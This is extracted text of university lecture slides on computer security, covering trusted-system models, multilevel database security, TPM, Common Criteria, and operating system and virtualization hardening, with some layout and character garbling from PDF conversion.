rules enforced on every access
Isolation: RM and DB are protected from
unauthorized access
Verifiability: RM’s correctness can be
proven

37
Trojan Horse Defence

security levels are assigned at login


sec levels: sensitive and public data
Trojan must have the same sec level

A “normal” OS vs a trusted OS with RM


(sec levels assigned at login thus can’t
write down)

38
MLS Security for Role-Based Access
Control
• Role-based access control (RBAC) can
implement BLP MLS rules given:
– Security constraints on users:
For all users u, sec-level(u) is defined
– Constraints on read/write permissions:
All objects have a defined r and w access permission
– Read and write level role access definitions
Each role r defined has r-level(r) and w-level(r)
– Constraint on user-role assignments
Clearance of a user must dominate the r-level and be dominated by the
w-level

40
MLS in Database Security
• Classification by table and column

41
MLS in Database Security
• Classification by row and cell

42
Database Security: Read Access

• DBMS enforces simple security rule (no read up)


• Easy if granularity is entire database or at table level
• Inference problems if have column granularity
– If can query on restricted data can infer its existence
– SELECT Ename FROM Employee
– SELECT Ename FROM Employee WHERE Salary > 50K
– Solution is to check access to all query data
• Also have problems if have row granularity
– Null response indicates restricted/empty result
• No extra concerns if have element granularity

43
Database Security: Write Access
• Enforce *-security rule (no write down)
• Have problem if a low clearance user wants to
insert a row with a primary key that already
exists in a higher level row:
– Can reject, but user knows row exists
– Can replace, compromises data integrity
– Polyinstantiation and insert multiple rows with same key, creates conflicting
entries but plausible (and implemented in many DBs)

• Same alternatives occur on update


• Avoid problem if use database/table
granularity
44
Trusted Platform Module (TPM)

• Concept from Trusted Computing Group


• Hardware module at heart of hardware/
software approach to trusted computing
• Uses a TPM chip on
– motherboard, smart card, processor
– working with approved hardware / software
– generating and using crypto keys
• Has 3 basic services: authenticated boot,
certification, and encryption
45
TPM Functions

46
Common Criteria (CC)
• ISO standards for security requirements and
defining evaluation criteria to give:
– Greater confidence in IT product security
– Formal actions during process of:
• development using secure requirements
• evaluation confirming meets requirements
• operation in accordance with requirements
• Evaluated products are listed for use

52
CC Requirements
• Have a common set of potential security
requirements for use in evaluation
• Target of evaluation (TOE) refers
product/system subject to evaluation
• Functional requirements
– define desired security behavior
• Assurance requirements
– that security measures effective correct
• Requirements: see pages 471-472
53
Assurance
• “Degree of confidence that the security
controls operate correctly and protect the
system as intended”
• Applies to:
– product security requirements, security policy,
product design, implementation, operation
• various approaches analyzing, checking,
testing various aspects

57
Common Criteria (CC) Assurance
Levels
• EAL 1: functionally independently tested
• EAL 2: structurally tested (includes review of design and
vulnerability analysis)
• EAL 3: methodically tested and checked (design testing)
• EAL 4: methodically designed, tested, and reviewed (high level
to low level vulnerability analysis)
• EAL 5: semiformally designed and tested
• EAL 6: semiformally verified design and tested
• EAL 7: formally verified design and tested (formal analysis and
formally showing correspondence)

58
Evaluation Parties & Phases
• Evaluation parties:
– sponsor - customer or vendor
– developer - provides evidence for evaluation
– evaluator - confirms requirements satisfied
– certifier - agency monitoring evaluation process
• Phases:
– preparation (initial contact)
– conduct of evaluation (structured process)
– conclusion (final evaluation)
• Government agency regulates: NIST, NSA jointly operate
Common Criteria Eval and Validation Scheme (US CCEVS)

60
Summary
• Bell-LaPadula security model
• other models
• Reference monitors & trojan horse defence
• multilevel secure RBAC and databases
• Trusted platform module
• Common criteria
• Assurance and evaluation

61
Computer Security: Principles
and Practice
Chapter 11: Operating System Security

EECS710: Information Security


Professor Hossein Saiedian
Fall 2014
OS Security Layers

§ Each layer is vulnerable to attack from below if the


lower layers are not secured appropriately

1
OS Hardening Measures

DSD list similar to NSA top 20


• The 2010 Australian Defense Signals Directorate
(DSD) list the “Top 35 Mitigation Strategies”
• Over 70% of the targeted cyber intrusions
investigated by DSD in 2009 could have been
prevented the top four measures
• The top four measures for prevention are:
– white-list approved applications
– patch third-party applications and OS vulnerabilities
– restrict admin privileges to users who need them
– create a defense-in-depth
2
Operating System Security
• Possible for a system to be compromised during the
installa6on process before it can install the latest patches
• Building and deploying a system should be a planned
process designed to counter this threat
• Process must:
– assess risks and plan the system deployment
– secure the underlying opera4ng system and then the key
applica4ons
– ensure any cri4cal content is secured
– ensure appropriate network protec4on mechanisms are used
– ensure appropriate processes are used to maintain security

3
System Security Planning
• The first step in deploying a new system is
planning
– Plan needs to identify appropriate personnel and
training to install and manage the system
– Planning process needs to determine security
requirements for the system, applications, data,
and users
• Aim: maximize security while minimizing costs

4
System Security Planning Process
The purpose of the system, Who will administer the Additional security
the type of information system, and how they (firewalls, anti-virus or
stored, the applications and will manage the system other malware
services provided, and their (via local or remote protection mechanisms,
security requirements access) and logging, …)

The categories of users What access the system


of the system, the has to information
privileges they have, stored on other hosts,
and the types of such as file or database
information they can servers, and how this is
access managed

How the users are Who will administer


authen7cated the system

5
Operating Systems Hardening
• First critical step in securing a system is to secure the
base operating system
• Basic steps
– Install and patch the operating system
– Harden and configure the operating system to adequately
address the identified security needs of the system
– Install and configure additional security controls, such as
anti-virus, host-based firewalls, and intrusion detection
system (IDS)
– Test the security of the basic operating system to ensure
that the steps taken adequately address its security needs

6
Initial Setup and Patching
Should stage and
validate all
patches on the
Initial installation test systems
System security should install the Overall boot before deploying
begins with the minimum process must
necessary for the also be secured them in
installation of production
the operating desired system
system

it is cri6cal that the


The integrity and
Ideally new Full installation source of any
system be kept up
systems and hardening to date, with all
additional device cri6cal security
should be process should driver code must related patches
constructed on occur before the be carefully
installed
system is validated
a protected deployed to its
network intended location

7
Remove Unnecessary Services
• if fewer software • when performing the initial
packages are available installation the supplied
defaults should not be used
to run the risk is
– default configuration is set to
reduced maximize ease of use and
• system planning process functionality rather than
security
should identify what is – if additional packages are
actually required for a needed later they can be
given system installed when they are
required

8
Configure Users and Privileges
• Not all users with access to • System planning process should
a system will have the same consider:
– categories of users on the system
access to all data and
– privileges they have
resources on that system – types of information they can
• Elevated privileges should access
be restricted to only those • Default accounts included as part
users that require them, of the system installation should
be secured
and then only when they
– those that are not required should be
are needed to perform a either removed or disabled
task – policies that apply to authentication
credentials configured

9
Configure Resource Controls
• Once the users and groups are defined, appropriate
permissions can be set on data and resources
• Many of the security hardening guides provide lists of
recommended changes to the default access
configuration
• Further security possible by installing and configuring
additional security tools:
– Anti-virus software
– Host-based firewalls
– IDS or IPS software
– Application white-listing

10
System Testing
• Final step in the process of initially securing the
base operating system is security testing
– Goal: Ensure the previous security configuration steps
are correctly implemented
• Checklists are included in security hardening
guides
• There are programs specifically designed to:
– Review a system to ensure that a system meets the
basic security requirements
– Scan for known vulnerabilities and poor configuration
practices

11
Application Configuration
• May include:
– Creating and specifying appropriate data storage areas for
application
– Making appropriate changes to the application or service
default configuration details
• Some applications or services may include:
– Default data, scripts, user accounts
• Of particular concern with remotely accessed services
such as Web and file transfer services
– Risk from this form of attack is reduced by ensuring that
most of the files can only be read, but not written, by the
server

12
Encryption Technology

A key enabling
technology that
may be used to
Cryptograph
secure data both If secure ic file
in transit and Must be network systems are
when stored configured services are another use
provided using
and SSH, of
appropriate If secure network appropriate encryption
cryptographic services are server and
keys created, provided using TLS client keys
signed, and or IPsec suitable must be
secured public and private created
keys must be
generated for
each of them

13
Security Maintenance
• Process of maintaining security is continuous
• Security maintenance includes:
– Monitoring and analyzing logging information
– Performing regular backups
– Recovering from security compromises
– Regularly testing system security
– Using appropriate software maintenance
processes to patch and update all critical software,
and to monitor and revise configuration as needed

14
Logging

15
Data Backup and Archive
Performing regular Backup Archive Needs and policy
backups of data is a relating to backup
critical control that and archive should
assists with The process of be determined
maintaining the retaining copies of during the system
integrity of the system data over extended
periods of time in planning stage
and user data order to meet legal and
operational
requirements to access
past data
Kept online or
offline

Stored locally or
transported to a
remote site
• Trade-offs include
ease of
implementation and
cost versus greater
security and
robustness against
different threats

16
Linux/Unix Security: Patch/Configs
• Patch management
– keeping security patches up to date is a widely recognized and
critical control for maintaining security
– application and service configuration
– most commonly implemented using separate text files for each
application and service
– generally located either in the /etc directory or in the
installation tree for a specific application
– individual user configurations that can override the system
defaults are located in hidden “dot” files in each user’s home
directory
– most important changes needed to improve system security are
to disable services and applications that are not required

17
Linux/Unix Security
• Users, groups, and permissions
– access is specified as gran?ng read, write, and execute
permissions to each of owner, group, and others for
each resource
– guides recommend changing the access permissions
for cri?cal directories and files
– local exploit
• so@ware vulnerability that can be exploited by an aAacker to
gain elevated privileges
– remote exploit
• so@ware vulnerability in a network server that could be
triggered by a remote aAacker

18
Linux/Unix Security
• Chroot jail
– restricts the server’s view of the file system to just
a specified portion
– uses chroot system call to confine a process by
mapping the root of the filesystem to some other
directory
– file directories outside the chroot jail aren’t visible
or reachable
– main disadvantage is added complexity

19
Windows Security

Patch management Users administration


• “Windows Update” and and access controls
“Windows Server Update • systems implement
Service” assist with discretionary access controls
regular maintenance and resources
should be used
• Vista and later systems
• third party applications include mandatory integrity
also provide automatic controls
update support
• objects are labeled as being
of low, medium, high, or
system integrity level
• system ensures the subject’s
integrity is equal or higher
than the object’s level
• implements a form of the
Biba Integrity model

20
Windows Security
Much of the configuration
information is centralized in
the Registry
• Forms a database of keys and values that may
be queried and interpreted by applications
• Registry keys can be directly modified
using the “Registry Editor”
• more useful for making bulk changes

21
Windows Security
– Other security controls
– Essential that anti-virus, anti-spyware, personal firewall, and other
malware and attack detection and handling software packages are
installed and configured
– Current generation Windows systems include basic firewall and
malware countermeasure capabilities
– Important to ensure the set of products in use are compatible
– Windows systems also support a range of cryptographic functions:
– Encrypting files and directories using the Encrypting File System (EFS)
– Full-disk encryption with AES using BitLocker
– “Microsoft Baseline Security Analyzer”
– Free, easy to use tool that checks for compliance with Microsoft’s
security recommendations

22
Virtualization
• A technology that provides an abstraction of the
resources used by some software which runs in a
simulated environment called a virtual machine
(VM)
• Benefits include better efficiency in the use of the
physical system resources
• Provides support for multiple distinct operating
systems and associated applications on one
physical system
• Raises additional security concerns
23
Virtualization Alternatives
Application virtualization (e.g., JVM)

full virtualization (e.g., multiple guest OS)

allows
applica6ons
wri@en for one virtual machine monitor (VMM)
environment to
execute on some multiple full coordinates RAM, processor, … uses
other opera6ng operating system
system instances execute
in parallel coordinates access between each
hypervisor of the guests and the actual
physical hardware resources

24
Full Virtualization Variations
• Na#ve virtualiza#on: the hypervisor executes
directly on the underlying hardware
• Hosted OS is just another app
• More secure: fewer layers

25
Full Virtualization Variations
• Hosted virtualiza#on: Hosted OS run along
other apps
• Adds addi@onal layers: increased security
concerns

26
Virtualization Security Issues
• Security concerns include:
– Guest OS isolation: ensuring that programs
executing within a guest OS may only access and
use the resources allocated to it
– Guest OS monitoring by the hypervisor: has
privileged access to the programs and data in each
guest OS and must be trust
– Virtualized environment security: particularly
image and snapshot management which
attackers may attempt to view or modify

27
Hypervisor Security
• Should be
– secured using a process similar to securing an operating
system
– installed in an isolated environment
– configured so that it is updated automatically
– monitored for any signs of compromise
– accessed only by authorized administration
• May support both local and remote administration so
must be configured appropriately
• Remote administration access should be considered
and secured in the design of any network firewall and
IDS capability in use

28
Summary
• System security planning • Linux/Unix security
• operating systems hardening – patch management
– initial setup and patching – application configuration
– remove unnecessary services – users, groups, permissions
– configure users and groups – remote access
– test system security – security testing
• Application security • Windows security
– application configuration – patch management
– encryption technology – users administration and access
– security maintenance controls
– data backup – application and service
– virtualization security configuration
• virtualization alternatives – security testing

29

You might also like